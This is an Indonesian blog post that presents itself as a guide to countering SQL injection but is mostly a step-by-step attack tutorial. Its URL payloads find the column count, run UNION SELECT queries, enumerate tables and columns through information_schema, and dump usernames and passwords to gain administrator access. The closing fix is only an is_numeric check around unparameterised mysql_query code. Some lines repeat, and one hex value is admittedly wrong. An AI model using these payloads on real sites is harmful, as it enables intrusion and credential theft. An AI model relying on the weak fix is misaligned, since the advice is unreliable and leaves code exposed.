Filename | .:: Security - Tekhnik Menangkal Serangan SQL Injection Pada Website Anda |
Permission | rwxrw-r-- |
Author | BLAZTERROR |
Date and Time | 9:59 PM |
Label | Security |
Action |
http://www.target.com/index.php?id=560'
Selanjutnya pada query sql yang ada pada script akan berubah menjadi
Code:
select * from 'tblBerita' where 'id' = 560' <--- terdapat karakter petik satu.
select * from 'tblBerita' where 'id' = 560' <--- terdapat karakter petik satu.
Hal ini menyebabkan query error dan menampilkan pesan error-nya pada halaman website.
2. Dengan tanda error ini, selanjutnya sang attacker melanjutkan melakukan inject pada query sql ini dengan tujuan menampilkan informasi yang ada pada tabel user, admin atau nama tabel lain untuk mengetahui user dan password yang tersimpan dalam website.
HOW??? HOW??? Caranya bagaimana. Pada MYSQL versi 5, hal ini dapat dilakukan dengan memanfaatkan informasi yang terdapat pada database information_schema.
Kita lanjut dulu saja SQL Injectionnya.
Selanjutnya kita akan coba cari jumlah record yang ada pada tabel.
Code:
http://www.target.com/index.php?id=560 order by 1
http://www.target.com/index.php?id=560 order by 1
Kita tes apakah error atau tidak, seharusnya tidak.
Code:
select * from `tblBerita` where `id` = 560 order by 1
select * from `tblBerita` where `id` = 560 order by 1
Maksud query ini, hasil select diurutkan berdasarkan pada colomn nomor 1.
Coba terus sampai tampil pesan error
Code:
http://www.target.com/index.php?id=560 order by 2 <-? masih belum error
http://www.target.com/index.php?id=560 order by 3 <<<? masih belum error
http://www.target.com/index.php?id=560 order by 4 <<<? masih belum error
http://www.target.com/index.php?id=560 order by 5 <<<? akhirnya error juga
http://www.target.com/index.php?id=560 order by 2 <-? masih belum error
http://www.target.com/index.php?id=560 order by 3 <<<? masih belum error
http://www.target.com/index.php?id=560 order by 4 <<<? masih belum error
http://www.target.com/index.php?id=560 order by 5 <<<? akhirnya error juga
Ini misal aja loh ya, di lapangan ntar jumlah angkanya bisa berbeda-beda. Ini menandakan bahawa field atau colomn yang ada pada tabel hanya ada 4.
3. Selanjutnya, lakukan union select
Code:
http://www.target.com/index.php?id=560 and 1=2 union select 1, 2, 3, 4
http://www.target.com/index.php?id=560 and 1=2 union select 1, 2, 3, 4
Query pada web jadi seperti ini
Code:
select * from `tblBerita` where `id` = 560 and 1=2 union select 1, 2, 3, 4
select * from `tblBerita` where `id` = 560 and 1=2 union select 1, 2, 3, 4
Result aslinya tidak akan tampil, yang tampil malah angka-angka yang dijadikan union select. Kita cari angka mana yang tampil pada halaman website. Misal angka yang tampil pada halaman website angka 2.
4. Kita dapat menggunakan function2 sql pada url tersebut, contohnya version()
Code:
http://www.target.com/index.php?id=560 and 1=2 union select 1, version(), 3, 4
http://www.target.com/index.php?id=560 and 1=2 union select 1, version(), 3, 4
Fungsi ini berguna untuk menampilkan versi mysql yang digunakan, jika versi mysql adalah versi 5. Kida dapat mulai melakukan inject untuk menampilkan informasi yang ada pada database information schema.
Code:
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema = database()
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema = database()
Query ini berfungsi untuk menampilkan isi dari table 'tables' yang ada pada database information_schema yang mana nama databasenya = database(), funsi database() akan menghasilkan nama database yang digunakan oleh website.
Setelah nama2 table diketahui, kita akan coba menampilkan nama2 colomn yang ada pada table. Misal nama table yang akan kita tampilkan isi kolomnya 'tbluser'
Code:
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser
Jika cara ini gagal, sebelumnya ubah dulu kata 'tbluser' ke bentuk hexa, gunakan http://cyber4rt.com/~converter yang menyediakan jasa convert text ke hexa.
Code:
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser
Jika cara ini gagal, sebelumnya ubah kata 'tbluser' ke bentuk hexa.
Code:
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = 0?6164A689
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = 0?6164A689
(ni hexa yang aku pake ngawur, hehe... ntar coba sendiri aja)
Setelah keluar nama2 colomn dari tabel 'tbluser', kita lanjutkan untuk menampilkan record dari tabel ini.
Misal colomn2 yang tampil : id, user, email, password
Code:
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(user, 0?3a, password), 3, 4 from tbluser
http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(user, 0?3a, password), 3, 4 from tbluser
Kita tampilkan yang penting2 saja.
Selanjutnya isi tabel akan ditampilkan, dan setelah kita dapatkan user dan password admin. Kita cari tempat untuk melakukan login ke system dan Eng ing eng, akses kita menjadi Administrator pada website.
PENANGKAL
Teknik serangan yang panjang lebar ini ternyata hanya memerlukan sedikit tambahan code untuk menambalnya, benarkah??? ya.. Mari kita bahas.
Code:
$result = mysql_query ("select * from 'tblBerita' wheere 'id' = $id ");
$result = mysql_query ("select * from 'tblBerita' wheere 'id' = $id ");
Serangan ini dapat terjadi dikarenakan tidak ada filter pada get_variable, sehingga attacker dapat menambahkan query jahat pada query aslinya. hehehe, nilai yang dibutuhkan pada get_variable id hanya nilai numeric saja sehingga kita dapat melakukan pengecekan apakah nilainya angka valid atau tidak
Code:
if (!is_numeric($id))
$id = 0;
$result = mysql_query ("select * from 'tblBerita' where 'id' = $id ");
if (!is_numeric($id))
$id = 0;
$result = mysql_query ("select * from 'tblBerita' where 'id' = $id ");
Kode ini, berguna untuk merubah nilai id menjadi 0 (Nol) jika nilai id tidak valid sebagai angka.
Huft, sudah kok itu aja.. heheheeh.. :P
0 comments:
Post a Comment